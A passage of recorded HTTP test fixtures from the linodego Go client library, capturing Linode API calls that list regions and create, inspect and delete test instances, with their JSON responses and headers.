"139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-4usxem0x7650","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46938069, "label": "go-test-ins-4usxem0x7650", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.79"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "915afd6c961c0333afa335a52a655d656beae128"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938069/disks method: GET response: body: '{"data": [{"id": 93562650, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 93562651, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "393" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46938069 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Get.yaml000066400000000000000000000352551455402072200306540ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-h71e8x50rb3w","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 41004058, "label": "go-test-ins-wo-disk-h71e8x50rb3w", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.213.162"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "714" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-x90c52z1a6je","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004058/configs method: POST response: body: '{"id": 43613598, "label": "go-test-conf-x90c52z1a6je", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004058 method: GET response: body: '{"id": 41004058, "label": "go-test-ins-wo-disk-h71e8x50rb3w", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.213.162"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "714" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004058 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Rebuild.yaml000066400000000000000000007272061455402072200315270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 